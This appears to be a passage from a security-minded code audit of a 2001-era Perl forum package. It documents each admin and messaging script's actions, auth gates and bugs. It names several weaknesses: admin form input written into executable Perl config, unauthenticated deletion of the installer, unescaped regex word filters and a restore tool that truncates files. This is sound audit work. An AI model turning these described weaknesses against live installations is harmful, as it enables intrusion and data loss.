### `messenger.cgi`

**31,779 bytes * 2001-05-23 * 840 LOC**

**Purpose.** The complete private-messaging system.

**User-facing surface.** Eight views inside the `&printmessenger` pop-up chrome: welcome/summary, inbox list, outbox list, compose, read-received, read-sent, delete confirmation, delete-all confirmation.

**Actions.** A flat nine-arm `if/elsif` chain -- no `%Mode`.

| `action` | Line | Effect | Params |
|---|---|---|---|
| `new` | `:112` | Compose form, optionally pre-addressed | `touser` |
| `outbox` | `:165` | List sent messages | -- |
| `deleteall` | `:236` | **Unlink** the whole inbox or outbox file | `where` (`inbox`\|`outbox`) |
| `outread` | `:293` | Display one sent message | `msg` (index), `where` |
| `send` | `:377` | Append to recipient's `_msg.cgi` and own `_out.cgi` | `touser`, `msgtitle`, `message` |
| `loggedin` | `:80` / `:477` | Set cookies (`:80`) *and* render the summary page (`:477`) | `membername`, `password` |
| `inbox` | `:541` | List received messages | -- |
| `read` | `:615` | Display one received message, mark it read | `msg`, `where` |
| `delete` | `:717` | Remove one message by index | `msg`, `where` |

**Auth required.** Member, checked at the top of **eight** separate branches with the identical two-line pair:

```perl
if ($userregistered eq "no") { &messengererror("...&No user registered"); }
elsif ($inpassword ne $password) { &messengererror("...&Your password was wrong."); }
```

at `:119-120`, `:172-173`, `:242-243`, `:300-301`, `:389-390`, `:483-484`, `:547-548`, `:622-623`, `:724-725`. There is no central gate; adding a tenth action means remembering to paste the pair a tenth time.

**Files read.** `messages/<name>_msg.cgi`, `messages/<name>_out.cgi`, `members/<name>.cgi`.
**Files written.** Both message files (full rewrite on send/delete/mark-read), unlinked wholesale on `deleteall`.

**Notable subs defined locally.** `login` (`:810-840`) -- the third copy of the `newposts.cgi:234` / `announcements.cgi:497` sub.

**Anything odd.**
- `action=loggedin` appears **twice** (`:80` and `:477`). The first is a pre-dispatch block that sets the cookies before `print header()`; the second is the actual dispatch arm. Correct but confusing, and the only action in the tree handled in two places.
- Nine copies of the unreachable `elsif ($inmembername eq "") { &login(...); }` arm -- dead because `:73-75` already substituted `"Guest"`.
- `:513` -- `if ($unread eq "0") { $unread eq "no"; }`. The `eq`-for-`=` slip again (third instance in the tree). The summary page consequently shows `0` unread rather than `no`.
- `:459` -- a bare comment `# create the dummy file` with **no code under it**. A TODO that was never written and never removed.
- **No ownership check on `read`/`outread`.** `:615` and `:293` take `msg` as an array index into the *authenticated user's own* file, so this is safe by construction -- but `:96` is the only validation (`$inmsg !~ /^[0-9]+$/`), and there is no bounds check, so an out-of-range index silently reads `undef` fields.
- `:349` and `:692` -- the `\:\o` regex that no longer compiles (see `post.cgi`).
- The `send` path (`:377-475`) rewrites the recipient's inbox file with no locking on the read (`:412`) and `flock(FILE, 2)` only after the truncating open (`:418`). Two people messaging the same user simultaneously will lose a message.
- `:141`/`:156` etc. hard-code `size=1`, `size=2`, `size=3` in `<font>` tags where the rest of the codebase uses `$dfontsize1..4` from `styles.cgi`. `messenger.cgi` ignores the board's font-size configuration entirely.

---

### 4.4 Admin center

Thirteen scripts. They share a distinct dialect that separates them cleanly from the public board:

- Credentials come from the `adminname` / `adminpass` cookies, **not** the member cookies. Set once by `admincenter.cgi:71-74` via raw `print "Set-Cookie: ..."`, with `+1d` expiry when set by `install.cgi:309-315` and **no expiry at all** when re-set by `admincenter.cgi` (session cookie).
- Page chrome comes from `&admintitle` (`ikonadmin.lib:50`) rather than `&title`/`&output`, and output is `print`ed directly rather than accumulated in `$output`.
- The failure path is `&adminlogin` (`ikonadmin.lib:15`), which always posts back to `$adminprog` (`admincenter.cgi`) regardless of which script rejected you.
- Almost all of them hard-code their colors (`#333333`, `#EEEEEE`, `#FFFFFF`, `face=verdana`) instead of using the style variables. The admin center does not re-skin.

The canonical admin gate, appearing verbatim in nine files:

```perl
if (($membercode eq "ad") && ($inpassword eq $password) && ($inmembername eq $membername)) { ... }
else { &adminlogin; }
```

`admincenter.cgi:87`, `setforums.cgi:84`, `setmembers.cgi:63`, `setstyles.cgi:71`, `setvariables.cgi:73`, `settemplate.cgi:71`, `setmembertitles.cgi:76`/`:119`, `setbadwords.cgi:67`/`:116`, `checkboard.cgi:59`, `checklog.cgi:64`. The third conjunct (`$inmembername eq $membername`) is redundant -- `getmember` normalises the name -- but its presence in every copy confirms a single source.

`forumoptions.cgi`, `announcements.cgi`, and `viewip.cgi` are the exceptions: they authenticate against the *member* cookies with the moderator-or-admin idiom, because they are reachable from the public board.

---

### `admincenter.cgi`

**8,848 bytes * 2001-06-01 * 242 LOC**

**Purpose.** Admin dashboard, environment self-test, and the `install.cgi` reaper.

**User-facing surface.** One page: welcome banner, server time, datafile warning, board statistics with computed topics-per-member and posts-per-member ratios, CGI path, Perl version, cookie test, hack-log status, and the credits block.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `remove` | `unlink` `install.cgi` (`:53-56`) | -- |
| `login` | Emit raw `Set-Cookie: adminname=...` / `adminpass=...` (`:70-75`) | `membername`, `password` |
| *(none)* | Read those cookies (`:77-78`) and render the dashboard | -- |

**Auth required.** Admin -- **except for `action=remove`, which runs at `:53` before any authentication whatsoever.** Anyone can delete `install.cgi` from any board. That is arguably fail-safe (deleting the installer is the secure direction), but it is unauthenticated file deletion by an anonymous request and belongs on the security map.

`:58-68` then refuses to run at all while `install.cgi` exists, printing a red "Security Warning" and exiting. So the flow is: installer finishes -> links you to `admincenter.cgi?action=remove` -> the installer is deleted -> the admin center becomes usable.

**Files read.** `data/allforums.cgi`, `data/allforums.bak` (existence only), `data/hacklog.cgi` (mtime only), `data/boardstats.cgi` (`require`d at `:30`).
**Files written.** Unlinks `install.cgi`.

**Notable subs defined locally.** `testsystem` (`:202-242`).

**Anything odd.**
- `&testsystem;` is called at **`:15`, before `use CGI` at `:18`**. This works only because `use` is compile-time and the sub is compiled before the runtime call executes -- but it means `testsystem` runs before `CGI::Carp` is loaded, so any error inside it goes to the server log, not the browser. It is also the only sub call in the entire distribution that precedes the `use` block.
- **`testsystem` contains a dead block with a typo that would break it anyway:**
  ```perl
  if (1 == 0) {                # :204 -- unreachable
  print "Content-type: text/html\n\n";
  ... "not being properly executed as a CGI script" ...
  exit:                        # :215 -- a LABEL, not a statement
  }
  ```
  `exit:` with a colon is a Perl label, not `exit;`. This is the classic Matt's-Script-Archive "am I being served as plain text?" check, disabled by wrapping it in `if (1 == 0)` and left in place, with a typo that would have made it fall through even if it were reachable. Two independent defects in eight dead lines.
- `:218-225` reads its own shebang line to report the Perl path, then `:228` checks `$] < 5.004`. The version gate is live; the CGI-execution gate is not.
- `:71-74` writes the admin cookies with `print "Set-Cookie: ..."` -- no `path`, no `expires`, no quoting of the password value. A password containing `;` truncates the cookie.
- `:180` lists the iB2 development team: *Stewart, Peter, Ahnteis, Bakhtaar, DingDang, LarryC, Marten, OmarSerenity, SmileyMan & Steve S* -- the only roster in the source, and the line is indented with a hard tab where the surrounding lines use spaces (i.e. appended later, by hand).
- `:112-115` divides by `$totalmembers` guarded by `if $totalthreads` / `if $totalposts` -- the wrong guard. A board with posts but zero members (possible after a `setmembers.cgi` mass delete) divides by zero.

---

### `setforums.cgi`

**53,092 bytes * 2001-06-03 * 1233 LOC**

**Purpose.** Create, edit, delete, and reorder forums and categories.

**User-facing surface.** Nine screens: forum list (default), add-forum form, add-category form, edit-forum form, edit-category-name form, reorder-categories form, delete warning, delete result, recount result.

**Actions.** `%Mode` at `:86-96` plus a two-arm fallthrough:

| `action` | Handler | Effect |
|---|---|---|
| `addforum` | `&addforum` (`:267`) | New-forum form |
| `processnew` | `&createforum` (`:381`) | Create `forum<N>/` dir, append to `data/allforums.cgi` |
| `edit` | `&editform` (`:622`) | Edit-forum form |
| `doedit` | `&doedit` (`:750`) | Commit forum edits |
| `addcategory` | `&catform` (`:814`) | New-category form (creates a forum inside it) |
| `doaddcategory` | `&doaddcategory` (`:917`) | Commit new category + forum |
| `editcatname` | `&editcatname` (`:1017`) | Rename a category across all its forums |
| `reordercategories` | `&reordercats` (`:1125`) | Renumber `$categoryplace` |
| `recount` | `&recount` (`:190`) | Recount `.thd` files, fix topic/post totals |
| `delete` + `checkaction!=yes` | `&warning` (`:480`) | Confirmation screen |
| `delete` + `checkaction=yes` | `&deleteforum` (`:505`) | **Delete forum + all content** |
| *(none)* | `&forumlist` (`:116`) | Forum list |

Params are slurped generically into `%PARAM` (`:50-55`) -- the only script that does this -- then hand-unpacked at `:60-74`: `action`, `forum`, `category`, `checkaction`, `categoryname`, `categorynumber`, `forumname`, `forumdescription`, `forummoderator`, `htmlstate`, `idmbcodestate`, `privateforum`, `startnewthreads`, `forumgraphic`.

**Auth required.** Admin, single gate at `:84` wrapping the whole dispatch. This is the *correct* structure and the largest admin script uses it; the small ones (`setbadwords`, `setmembertitles`) do not.

**Files read.** `data/allforums.cgi`, `data/boardstats.cgi`, `forum<N>/` directory listings.
**Files written.** `data/allforums.cgi`, `data/boardstats.cgi`; creates `forum<N>/` directories; unlinks every file in a forum on delete.

**Notable subs defined locally.** `forumlist`, `recount`, `addforum`, `createforum`, `warning`, `deleteforum`, `editform`, `doedit`, `catform`, `doaddcategory`, `editcatname`, `reordercats` -- twelve, the most in any file.

**Anything odd.**
- `:126` -- "You may also **redorder** the way the current categories are listed"; `:1141` -- "will render the category **'invisable'**". Both typos are in admin-facing copy and both survived to release.
- `&deleteforum` (`:505`) computes `$thdcount` from a `readdir` grep and uses it to decrement `data/boardstats.cgi`. If the forum directory is missing or unreadable the count is zero and the global totals silently drift -- which is precisely the drift `&recount` exists to repair.
- `&reordercats` warns the admin that duplicate category numbers will make a category "invisible" (`:1141`) but does not validate for duplicates. The check that the help text describes was never implemented.
- New forum IDs are allocated as `max(existing) + 1` by scanning `data/allforums.cgi` (`:924-929`) -- so deleting the highest-numbered forum and creating a new one reuses the ID, and any surviving `forum<N>/` directory contents are silently adopted by the new forum. `&deleteforum` unlinks the files but does **not** `rmdir` the directory.

---

### `setmembers.cgi`

**23,285 bytes * 2001-05-02 * 663 LOC**

**Purpose.** Browse, edit, ban, unban, and delete member accounts.

**User-facing surface.** Six screens: options menu with A-Z letter index, per-letter member list, member detail, edit form, delete confirmation, unban confirmation.

**Actions.** `%Mode` at `:71-77`:

| `action` | Handler | Effect | Params |
|---|---|---|---|
| `updatecount` | `&docount` (`:179`) | Recount `members/*.cgi`, rewrite `$totalmembers` | -- |
| `viewletter` | `&viewletter` (`:222`) | List members starting with a letter | `letter` |
| `edit` | `&edit` (`:329`) | Edit form / commit | `member`, `membertitle`, `password`, `emailaddress`, `homepage`, `aolname`, `icqnumber`, `location`, `numberofposts`, `timedifference`, `membercode`, plus per-forum private-access checkboxes |
| `deletemember` | `&deletemember` (`:518`) | Unlink the member file, fix `lastregisteredmember` | `member`, `checkaction` |
| `unban` | `&unban` (`:616`) | Remove from `data/banlist.cgi` | `member` |
| *(none)* | `&memberoptions` (`:97`) | Options menu | -- |

**Auth required.** Admin, single gate at `:63`.

**Files read.** `members/` directory listing, `members/<name>.cgi`, `data/allforums.cgi`, `data/banlist.cgi`, `data/boardstats.cgi`.
**Files written.** `members/<name>.cgi` (full rewrite, `:405`), `data/banlist.cgi`, `data/boardstats.cgi`; unlinks member files.

**Notable subs defined locally.** `memberoptions` (`:97`), `docount` (`:179`), `viewletter` (`:222`), `showmember` (`:278`), `edit` (`:329`), `deletemember` (`:518`), `unban` (`:616`).

**Anything odd.**
- Banning is done by setting `membercode` to the literal string `banned` in the member's own file (`:389`) **and** appending `name|email|ip` to `data/banlist.cgi`. Two sources of truth: `post.cgi:290` checks the former, `register.cgi:116-118` checks the latter, and nothing keeps them in sync when a member file is edited by hand.
- `:458` builds the member-type `<select>` as a hard-coded string and then `:460` does `s/value=\"$membercode\"/...\" selected/g` to mark the current option. This "regex the HTML you just built" pattern recurs at `forums.cgi:415` and in `install.cgi`. It breaks silently if `$membercode` contains regex metacharacters.
- `&showmember` (`:278`) is defined but **never called**. Not in `%Mode`, not referenced anywhere in the file. Dead code, 51 lines.
- `:136` -- the on-screen instructions say *"To ban a member, simply click on edit, and change their membertype to 'banned' in the drop down box"* -- but the drop-down at `:458` labels that option **"Ban member"**, not "banned". Help text written against an earlier UI.
- Oldest admin script (2001-05-02) alongside `setstyles`, `setmembertitles`, `checkboard`, `checklog` -- that date clusters five files, which is likely the 2.1.0 release baseline.

---

### `setstyles.cgi`

**20,785 bytes * 2001-05-02 * 426 LOC**

**Purpose.** Edit every color/font variable and rewrite `data/styles.cgi`.

**User-facing surface.** One long form (~60 fields), plus a save-result page that echoes back everything written.

**Actions.**

| `action` | Effect |
|---|---|
| `process` | Serialise all submitted params as `$name = "value";` lines, write `data/styles.cgi`, append `1;`, verify with `-e && -w` (`:74-121`) |
| *(none)* | Render the form (`:122-...`) |

**Auth required.** Admin, single gate at `:71` wrapping both branches.

**Files read.** `data/styles.cgi` (via `require` at load).
**Files written.** `data/styles.cgi` -- **the script rewrites executable Perl from form input.**

**Notable subs defined locally.** None.

**Anything odd.**
- The generic param loop (`:49-60`) is the dangerous heart of the admin center: every submitted parameter, whatever its name, becomes `${$_} = $theparam` (a symbolic reference -- assign to an arbitrary global) *and* is serialised into a file that is `require`d by all 30 other scripts. Sanitisation is exactly three substitutions: escape `@`, strip `/`, strip `$` from the *name*. `&unHTML` then handles `<`, `>`, `"`. A value containing a newline followed by arbitrary Perl is not prevented. This is admin-only, but it is remote code execution by design.
- `:97-101` post-processes `$printme` for display by stripping `"`, `$`, and `1;` -- cosmetic, and it mutates the same variable that was just written to disk (harmlessly, since the write happens first).
- Compare with `setvariables.cgi:50-61`, which is the same loop with **two lines in a different order** (see below). `setstyles.cgi` has them right.

---

### `setvariables.cgi`

**22,324 bytes * 2001-06-04 * 437 LOC**

**Purpose.** Edit board-wide settings and rewrite `data/boardinfo.cgi`.

**User-facing surface.** One long form (board name, description, URLs, paths, admin emails, SMTP server, time zone, flood control, avatars on/off, emoticons on/off, email functions, password verification, hot-topic threshold, posts-per-page, ...), plus a save-result page.

**Actions.**

| `action` | Effect |
|---|---|
| `process` | Serialise params to `data/boardinfo.cgi` + `1;` (`:76-120`) |
| *(none)* | Render the form |

**Auth required.** Admin, single gate at `:73`.

**Files read.** `data/boardinfo.cgi` (via `require`).
**Files written.** `data/boardinfo.cgi` -- the file that defines `$ikondir`, `$boardurl`, `$SMTP_SERVER`, and every path the rest of the board uses.

**Notable subs defined locally.** None.

**Anything odd.**
- **The param loop is subtly broken.** Compare, line for line:

  `setstyles.cgi:49-56` (correct):
  ```perl
  foreach (@params) {
      $theparam = $query->param($_);      # fetch
      $theparam =~ s/\@/\\\@/g;
      $theparam =~ s/\///g;               # strip slashes  <- applied to THIS value
      $_ =~ s/\$//g;
      $theparam = &unHTML("$theparam");
      ${$_} = $theparam;
  ```
  `setvariables.cgi:50-57` (broken):
  ```perl
  foreach (@params) {
      $theparam =~ s/\///g;               # <- applied to the PREVIOUS iteration's value
      $_ =~ s/\$//g;
      $theparam = $query->param($_);      # fetch (overwrites what was just stripped)
      $theparam =~ s/\@/\\\@/g;
      $theparam = &unHTML("$theparam");
      ${$_} = $theparam;
  ```
  The slash-stripping happens *before* the value is fetched, so it operates on the previous parameter's already-discarded value and is a complete no-op. **`setvariables.cgi` does not strip `/` from any input**, unlike its sibling. Since this is the script that writes `$ikondir` and `$imagesdir`, that is the one place slashes are semantically meaningful -- so the "bug" may have been a deliberate reordering to allow paths, done by moving the line rather than deleting it. Either way the code as written is nonsense, and **`setmembertitles.cgi:52-57` has the identical broken ordering**, where it has no such justification.

- `setstyles.cgi` is dated 2001-05-02, `setvariables.cgi` 2001-06-04, `setmembertitles.cgi` 2001-05-02. So the broken variant is both older and newer than the correct one -- the two orderings coexisted and were copied back and forth.

---

### `setmembertitles.cgi`

**12,474 bytes * 2001-05-02 * 297 LOC**

**Purpose.** Configure the post-count -> member-title ladder, rewriting `data/membertitles.cgi`.

**User-facing surface.** One form of `mpostmark<N>` / `mtitle<N>` pairs, plus a save confirmation.

**Actions.**

| `action` | Effect |
|---|---|
| `process` | Serialise params to `data/membertitles.cgi` (`:72-113`) |
| *(none)* | Render the form (`:115-...`) |

**Auth required.** Admin -- but **checked twice, separately, inside each branch** (`:76` and `:119`) rather than once around the dispatch. Functionally equivalent, structurally the odd one out among the `set*` scripts. `setbadwords.cgi` does the same thing.

**Files read.** `data/membertitles.cgi` (via `require` at `:29`).
**Files written.** `data/membertitles.cgi`.

**Notable subs defined locally.** None.

**Anything odd.**
- Carries the broken param-loop ordering described under `setvariables.cgi` (`:52-57`).
- `:72` dispatches on `$action`, which is set by the generic `${$_} = $theparam` symbolic assignment in the loop -- i.e. the dispatch variable is populated as a side effect of the sanitising loop, not by an explicit `$query->param('action')`. Same in `setstyles`, `setvariables`, and `setforums`. If a form ever submitted a field literally named `action` alongside the hidden one, CGI.pm's multi-value handling would join them.
- The double auth check means an unauthenticated `?action=process` request reaches `:74` (`&getmember`) and the check at `:76` -- it fails safe, but the two branches print *different* failure output: the `process` branch prints nothing at all (falls through the `if` with no `else`), while the form branch calls `&adminlogin` (`:291`). Submitting `?action=process` while logged out yields a blank admin page.

---

### `settemplate.cgi`

**7,673 bytes * 2001-05-18 * 224 LOC**

**Purpose.** Edit and preview the page wrapper in `data/template.dat`.

**User-facing surface.** Three states: the editor (a `<textarea>` of the user-editable half plus a hidden field carrying the non-editable head), a live preview rendered through `&title`, and a save confirmation.

**Actions.** **This script does not dispatch on `$action` at all.** `:53` reads `$action = $query->param("action");` and the variable is then **never used again**. Dispatch is entirely on `$process`:

| `$process` | Effect |
|---|---|
| *(undefined)* | Render the editor (`:73-149`) |
| `preview template` | Render the template with a placeholder board inside it, suppressing the admin chrome (`:164-196`) |
| anything else (`true`) | Write `data/template.dat` (`:198-211`) |

**Auth required.** Admin, single gate at `:71`.

**Files read.** `data/template.dat` (`:78-87`), with explicit `-e` and `-w` checks and distinct error pages for each (`:88-105`) -- the most careful file handling in the distribution.
**Files written.** `data/template.dat` (`:200-207`).

**Notable subs defined locally.** None.

**Anything odd.**
- The dead `$action` read at `:53` is the clearest evidence of the skeleton being applied mechanically: the line is there because it is in every other script, not because anything needs it.
- The template file is split on the literal marker `<!--end Java-->` (`:110`) into a non-editable head and an editable body. The head is round-tripped through a **hidden form field** (`:124`), HTML-escaped on the way out and unescaped on the way back (`:112-118`, `:156-162`). An admin who edits that hidden field controls the `<head>` of every board page.
- `:59` and `:223` -- the admin chrome is emitted only `if ($process ne "preview template")`, and the closing tags are emitted with the same condition at the very bottom. The preview path deliberately produces a bare document. Correct, and the only conditional-chrome logic in the tree.
- `:91` -- the error text says the missing file is `'template.dir'`; the file is `template.dat`. Typo in the only error message a stuck admin would ever read.

---

### `setbadwords.cgi`

**6,928 bytes * 2001-06-04 * 175 LOC**

**Purpose.** Maintain the `bad=replacement` substitution list in `data/badwords.cgi`.

**User-facing surface.** One `<textarea>` (newline-separated `bad=good` pairs) and a save confirmation that echoes the parsed pairs back.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `process` | Convert newlines to `&`, write `data/badwords.cgi`, echo the parsed pairs (`:63-110`) | `wordarray` |
| *(none)* | Render the textarea, seeded from the current file or the hard-coded default (`:112-173`) | -- |

**Auth required.** Admin -- checked twice, once per branch (`:67`, `:116`), same structure as `setmembertitles.cgi`.

**Files read.** `data/badwords.cgi` (`:119-122`).
**Files written.** `data/badwords.cgi` (`:74-77`).

**Notable subs defined locally.** None.

**Anything odd.**
- `:120` -- `open (FILE, "$filetoopen") or $badwords = "damn=d*amn\nhell=h*ll";`. The default seed list is inline in the `or` clause of the open. It is also **inconsistent with its own example**: `damn=d*amn` keeps the `a`, where `:153`'s on-screen example is `damn=d*mn`.
- `:76` writes `$wordarray` -- the `&`-joined string -- with **no `flock`**. The only `set*` script that omits locking on its write.
- The file it produces is consumed by `post.cgi`, `postings.cgi`, `profile.cgi`, and `register.cgi` as `s/$bad/$good/ig` with `$bad` **unescaped** (`postings.cgi:1268`). An admin entering `.*=X` replaces every post body with `X` at next edit. The help text at `:145-153` describes the feature as a word filter and gives no hint that the left side is a regex.
- `:146-150` documents the one genuinely surprising design decision, and documents it well: the substitution is applied *at post time and is permanent*, so changing the list does not retroactively clean old posts, and a filtered word can never be recovered by the author.

---

### `forumoptions.cgi`

**11,238 bytes * 2001-06-03 * 257 LOC**

**Purpose.** Mass-prune a forum: delete every topic whose last post is older than N days.

**User-facing surface.** Two screens: the moderation-mode challenge form (username, password, prune-days) and a result page reporting counts deleted.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `prune` | With `checked=yes` and valid credentials: unlink `.thd`/`.mal`/`.pl` for every stale topic, `rebuildLIST`, decrement forum and board counters (`:76-245`) | `forum`, `prunedays`, `membername`, `password`, `checked` |
| *(none)* | `&error("General Error&No action specified")` (`:247`) | -- |

**Auth required.** Moderator or admin, using the *member* cookies (`:68-69`) and the `$cleartoedit` idiom from `postings.cgi` (`:90-92`). Correctly requires `$checked eq "yes"` before doing anything destructive (`:95`).

**Files read.** `forum<N>/list.cgi`, `forum<N>/<topic>.thd`, `data/allforums.cgi`, `data/boardstats.cgi`.
**Files written.** `data/allforums.cgi`, `data/boardstats.cgi`; unlinks `.thd`, `.mal`, `.pl` per pruned topic; `list.cgi` regenerated by `rebuildLIST` (`ikon.lib:1025`).

**Notable subs defined locally.** None.

**Anything odd.**
- `:64` -- `if (($inforum !~ m|([0-9\G]+$)|g) or (!$inforum))`. A character class containing `\G` (a zero-width assertion that has no meaning inside `[...]`, where it degrades to a literal `G`), an unnecessary capture group, an unanchored start, and a `/g` on a boolean match. Compare the equivalent guard in every sibling: `if (($inforum) && ($inforum !~ /^[0-9]+$/))`. This one line is unlike anything else in the codebase and looks like it was written by someone reaching for a regex reference.
- `:72` calls `&moderator` at file scope and `:79` calls it **again** inside the `prune` branch. `&moderator` appends to `$modoutput` without clearing it, so the moderator byline is doubled on this page.
- `:109` -- `($topicid, $tr, $tr, $tr, $tr, $tr, $tr, $tr, $tr, $lastpostdate) = split(/\|/,$_)`. Eight assignments to the same throwaway `$tr`. Everywhere else in the tree the idiom is `$trash`; this file invented its own abbreviation.
- The prune loop (`:108-132`) unlinks files while iterating, then calls `rebuildLIST` afterwards -- so a crash mid-loop leaves orphaned `list.cgi` entries pointing at deleted `.thd` files, which is exactly the corruption `checkboard.cgi` detects.
- `:239` -- the submit button on the prune form is labeled **"Log in"**. Copy-pasted from the login form template; the admin is one click from irreversible mass deletion under a button that says "Log in".

---

### `announcements.cgi`

**24,066 bytes * 2001-05-23 * 556 LOC**

**Purpose.** Display and manage board announcements (`data/news.cgi`, one `title|timestamp|body` line each).

**User-facing surface.** The announcement list (with add/edit/delete icons if admin), an add form, an edit form, and a redirect-after-action page.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `delete` + `checked=yes` | Rewrite `data/news.cgi` minus line `number` (`:103-145`) | `number`, `membername`, `password` |
| `delete` (no `checked`) | Render the admin login form via `&login` (`:149`) | `number` |
| `add` | Render the add form -- **no auth check** (`:159-192`) | -- |
| `addannouncement` | Prepend a new line to `data/news.cgi` (`:200-242`) | `announcementtitle`, `announcementpost`, `membername`, `password` |
| `edit` | Render the edit form pre-filled -- **no auth check** (`:252-310`) | `number` |
| `doedit` | Replace line `number` (`:320-373`) | `number`, `announcementtitle`, `announcementpost`, `membername`, `password` |
| *(none)* | Render the announcement list (`:383-478`) | -- |

**Auth required.** Admin on the three write actions, checked with the *member* cookies:
```perl
if ($membercode ne "ad") { print header(); &error("Announcements&You are not an administrator."); }
elsif ($inpassword ne $password) { print header(); &error("Announcements&Your password was wrong."); }
```
at `:112-113`, `:208-209`, `:330-331`. The two form-rendering actions (`add`, `edit`) are unauthenticated -- harmless, since the forms themselves collect credentials, but it does mean announcement bodies are readable via `?action=edit&number=N` regardless of who asks (they are public on the list page anyway).

**Files read.** `data/news.cgi`.
**Files written.** `data/news.cgi`.

**Notable subs defined locally.** `login` (`:497-526` -- third copy, see `newposts.cgi`), `doend` (`:528-556`).

**Anything odd.**
- **Indentation is a mess unlike anything else in the tree.** Most lines lead with a hard tab followed by 8-24 spaces (`:103`, `:159`, `:200`, `:252`, `:320`), while the `&stripMETA` lines interleaved among them (`:118`, `:128`, `:219`, `:230`, `:259`, `:341`, `:354`) use spaces only. The `stripMETA` calls were clearly injected by a later security pass into a file whose original author used tabs -- you can read the patch boundary directly off the whitespace.
- `:463` is a single line containing a `<tr>`, a `<td>`, a `<font>`, `$post`, and both closing tags, with runs of trailing whitespace mid-line and a stray tab before `</tr>`. It is the output of an editor mangling a multi-line block.
- `:112-113` etc. call `print header()` inside the error branches, after `:76` already printed one. Legal only because `:20` sets `$CGI::HEADERS_ONCE`.
- `:416-419` re-implements four emoticon substitutions **immediately after** calling `&doemoticons($post)` at `:414`, which already does them (`ikon.lib:582`). Belt-and-braces from someone who did not trust the library sub.
- `:424-426` unescapes `&lt;`/`&gt;`/`&quot;` -- announcements always render raw HTML, with no per-forum `$htmlstate` equivalent. Admin-authored, so lower risk, but it is an unconditional bypass.
- `:401` fabricates a synthetic announcement when the file is empty, whose body is a set of instructions telling the admin to click the add icon -- and which "will self delete as soon as another announcement is made." A nice touch, and the only self-documenting empty state in the product.

---

### `viewip.cgi`

**10,158 bytes * 2001-05-23 * 236 LOC**

**Purpose.** Show a post's recorded IP and the poster's signup IP.

**User-facing surface.** Two screens: the moderation-mode challenge form and the IP report (topic title, post date, IP in post, IP at registration).

**Actions.** **None** -- the file reads an `action` param at `:45` and never uses it. Dispatch is on `$checked`, exactly as in `settemplate.cgi`'s use of `$process`.

**Auth required.** Moderator or admin (`:141-142`), the `postings.cgi` idiom against the member cookies. Requires `$checked eq "yes"` (`:147`).

**Files read.** `data/allforums.cgi`, `forum<N>/<topic>.thd`, `members/<name>.cgi`.
**Files written.** None.

**Notable subs defined locally.** None.

**Anything odd.**
- `:139` sets `$cleartoedit = "no";` and then **every subsequent line tests `$cleartomove`** (`:141-147`). The initialiser is for the wrong variable -- copy-pasted from `postings.cgi:594` (a `$cleartoedit` sub) into a body copied from `postings.cgi:272` (a `$cleartomove` sub). It happens to be safe because `$cleartomove` starts undef and `:143`'s `unless` normalises it, but the two halves of this block came from two different source subs.
- The post is read from disk (`:93-106`) **before** the authorisation check at `:136-147`, and the topic title from it is interpolated into the page header at `:124` -- which is emitted regardless of whether the check passes. An unauthorised request leaks the topic title of the target post. Minor, but it is a genuine ordering defect.
- No `&checkVALIDITY`. Of the three moderator-facing scripts reachable from the public board, `postings.cgi:42` and `forumoptions.cgi:45` call it; `viewip.cgi` does not.
- `:87` -- `<img src="$forumgraphic">` where every other script writes `<img src="$imagesurl/images/$forumgraphic">`. The forum graphic is stored as a bare filename, so this renders a broken image on any board that sets one.
- `:205` -- the form's `action` attribute carries the parameters in the query string **and** repeats all four as hidden fields (`:206-209`). Belt and braces again.

---

### `checkboard.cgi`

**8,480 bytes * 2001-05-02 * 241 LOC**

**Purpose.** Detect and repair corrupted datafiles -- the recovery tool for the read-modify-rewrite races described under `topic.cgi`.

**User-facing surface.** One report page listing the state of `data/allforums.cgi`, whether a `.bak` exists, and a pass/fail line per forum's `list.cgi`, each failure carrying a "Restore from back-up" link.

**Actions.**

| `action` | Effect | Params |
|---|---|---|
| `restoreforums` | Copy `data/allforums.bak` -> `data/allforums.cgi` (`:62-93`) | -- |
| `restorelist` | Copy `forum<N>/list.bak` -> `forum<N>/list.cgi` (`:96-128`) | `forum` |
| *(none)* | Run the integrity report (`:130-218`) | -- |

**Auth required.** Admin, single gate at `:59`.

**Files read.** `data/allforums.cgi`, `data/allforums.bak`, `forum<N>/list.cgi`, `forum<N>/list.bak`.
**Files written.** `data/allforums.cgi`, `forum<N>/list.cgi`.

**Notable subs defined locally.** None.

**Anything odd.**
- **`checkboard.cgi` and `help.cgi` are the only two files that write their `require` lines as `require "$ikondir" . "ikon.lib";`** (`:26-30`, `help.cgi:24-27`) instead of `require "ikon.lib";`. `$ikondir` is defined *inside* `data/boardinfo.cgi`, which is the fourth thing that block requires -- so at the moment those lines execute, **`$ikondir` is empty** and the statements degrade to `require "ikon.lib"`. They work by pure accident, saved by the `unshift @INC` two lines above. Two files, both dated in the older cluster, both by a hand that thought `$ikondir` was already available. This is the single clearest fingerprint of a second author in the distribution.
- `:74` and `:109` -- `$filetoopen = &stripMETA($filetoopen);` immediately after `$filetomake` was assigned, sanitising the *wrong* variable. The path that is actually opened for writing (`$filetomake`) is never sanitised. Both restore branches have the bug, identically.
- `:67`, `:102`, `:136`, `:166` -- `flock(FILE, 2)` (exclusive) on read-only opens throughout. Every lock in this file is the wrong mode.
- `$listback_up` (`:173`) is set inside the per-forum loop and **never reset**, so once any forum is found to have a `list.bak`, every subsequent corrupted forum is reported as restorable whether it has a backup or not (`:180`). Clicking the resulting link on a forum with no `.bak` truncates its `list.cgi` to zero bytes -- **the repair tool destroys data it claims to restore.**
- `:198` -- *"You will get error messages if you have yet to set your board up, or make any posts."* An honest admission that the tool cannot distinguish "empty" from "destroyed."

---

### `checklog.cgi`

**5,125 bytes * 2001-05-02 * 144 LOC**

**Purpose.** Display and purge `data/hacklog.cgi`, the log written by `&checkVALIDITY`.

**User-facing surface.** One page: an advisory notice, the log contents split on `------Log Entry------`, and a delete link.

**Actions.**

| `action` | Effect |
|---|---|
| `delete` | `unlink data/hacklog.cgi` (`:66-91`) |
| *(none)* | Print the log, or "Hack log empty" (`:93-136`) |

**Auth required.** Admin, single gate at `:64`, preceded at `:62` by `die "No such user!" if ($userregistered eq "no");` -- a bare `die` to the browser (via `CGI::Carp`) rather than `&adminlogin`. The only place in the admin center that dies instead of showing a login form.

**Files read.** `data/hacklog.cgi`.
**Files written.** Unlinks `data/hacklog.cgi`.

**Notable subs defined locally.** None.

